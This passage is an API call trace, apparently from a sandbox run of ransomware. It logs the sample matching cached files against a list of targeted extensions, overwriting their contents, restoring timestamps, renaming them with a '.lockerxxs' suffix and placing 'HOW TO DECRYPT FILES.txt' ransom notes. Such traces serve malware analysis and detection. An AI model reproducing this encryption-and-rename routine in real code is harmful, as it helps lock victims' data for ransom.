lstrlenA (lpString="*.eml") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.pst") returned 0 [0084.056] lstrlenA (lpString="*.pst") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.ost") returned 0 [0084.056] lstrlenA (lpString="*.ost") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.idx") returned 0 [0084.056] lstrlenA (lpString="*.idx") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.dbx") returned 0 [0084.056] lstrlenA (lpString="*.dbx") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.sql") returned 0 [0084.056] lstrlenA (lpString="*.sql") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.mdb") returned 0 [0084.056] lstrlenA (lpString="*.mdb") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.fdb") returned 0 [0084.056] lstrlenA (lpString="*.fdb") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.wab") returned 0 [0084.056] lstrlenA (lpString="*.wab") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.dat") returned 0 [0084.056] lstrlenA (lpString="*.dat") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.txt") returned 0 [0084.056] lstrlenA (lpString="*.txt") returned 5 [0084.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.jpeg") returned 0 [0084.056] lstrlenA (lpString="*.jpeg") returned 6 [0084.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.jpg") returned 0 [0084.057] lstrlenA (lpString="*.jpg") returned 5 [0084.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.png") returned 1 [0084.057] lstrlenA (lpString="*.png") returned 5 [0084.057] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" [0084.057] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" [0084.057] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png." [0084.057] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.lockerxxs" [0084.057] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.058] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x156 [0084.058] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x456d9c70, dwHighDateTime=0x1d2faf3)) returned 1 [0084.058] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.058] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x130, lpOverlapped=0x0) returned 1 [0084.060] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png") returned="BB8AdqN[1].png" [0084.060] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.060] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x130, lpOverlapped=0x0) returned 1 [0084.061] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.061] CloseHandle (hObject=0xa4) returned 1 [0084.061] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png.lockerxxs")) returned 1 [0084.062] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45be8b30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45be8b30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45ca7210, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x152c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBALZyp[1].jpg", cAlternateFileName="BBALZY~1.JPG")) returned 1 [0084.062] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.062] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBALZyp[1].jpg") returned 1 [0084.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBALZyp[1].jpg") returned 1 [0084.062] lstrcmpiA (lpString1="", lpString2="BBALZyp[1].jpg") returned -1 [0084.062] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png") returned="BB8AdqN[1].png" [0084.062] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.062] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.062] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.062] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.062] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBALZyp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" [0084.062] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.ems") returned 0 [0084.062] lstrlenA (lpString="*.ems") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.db") returned 0 [0084.063] lstrlenA (lpString="*.db") returned 4 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.dbf") returned 0 [0084.063] lstrlenA (lpString="*.dbf") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.myox") returned 0 [0084.063] lstrlenA (lpString="*.myox") returned 6 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.myo") returned 0 [0084.063] lstrlenA (lpString="*.myo") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qbw") returned 0 [0084.063] lstrlenA (lpString="*.qbw") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qbb") returned 0 [0084.063] lstrlenA (lpString="*.qbb") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qbm") returned 0 [0084.063] lstrlenA (lpString="*.qbm") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qbo") returned 0 [0084.063] lstrlenA (lpString="*.qbo") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qbx") returned 0 [0084.063] lstrlenA (lpString="*.qbx") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qba") returned 0 [0084.063] lstrlenA (lpString="*.qba") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qby") returned 0 [0084.063] lstrlenA (lpString="*.qby") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qbj") returned 0 [0084.063] lstrlenA (lpString="*.qbj") returned 5 [0084.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.ofx") returned 0 [0084.064] lstrlenA (lpString="*.ofx") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.qif") returned 0 [0084.064] lstrlenA (lpString="*.qif") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.mye") returned 0 [0084.064] lstrlenA (lpString="*.mye") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.mbox") returned 0 [0084.064] lstrlenA (lpString="*.mbox") returned 6 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.eml") returned 0 [0084.064] lstrlenA (lpString="*.eml") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.pst") returned 0 [0084.064] lstrlenA (lpString="*.pst") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.ost") returned 0 [0084.064] lstrlenA (lpString="*.ost") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.idx") returned 0 [0084.064] lstrlenA (lpString="*.idx") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.dbx") returned 0 [0084.064] lstrlenA (lpString="*.dbx") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.sql") returned 0 [0084.064] lstrlenA (lpString="*.sql") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.mdb") returned 0 [0084.064] lstrlenA (lpString="*.mdb") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.fdb") returned 0 [0084.064] lstrlenA (lpString="*.fdb") returned 5 [0084.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.wab") returned 0 [0084.065] lstrlenA (lpString="*.wab") returned 5 [0084.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.dat") returned 0 [0084.065] lstrlenA (lpString="*.dat") returned 5 [0084.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.txt") returned 0 [0084.065] lstrlenA (lpString="*.txt") returned 5 [0084.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.jpeg") returned 0 [0084.065] lstrlenA (lpString="*.jpeg") returned 6 [0084.065] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", pszSpec="*.jpg") returned 1 [0084.065] lstrlenA (lpString="*.jpg") returned 5 [0084.065] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" [0084.065] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" [0084.065] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg." [0084.065] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.lockerxxs" [0084.065] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.066] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152c [0084.066] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45be8b30, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45be8b30, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45ca7210, dwHighDateTime=0x1d2faf3)) returned 1 [0084.066] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.066] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1506, lpOverlapped=0x0) returned 1 [0084.068] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg") returned="BBALZyp[1].jpg" [0084.068] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.069] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1506, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1506, lpOverlapped=0x0) returned 1 [0084.069] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.069] CloseHandle (hObject=0xa4) returned 1 [0084.069] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.lockerxxs" (normalized: 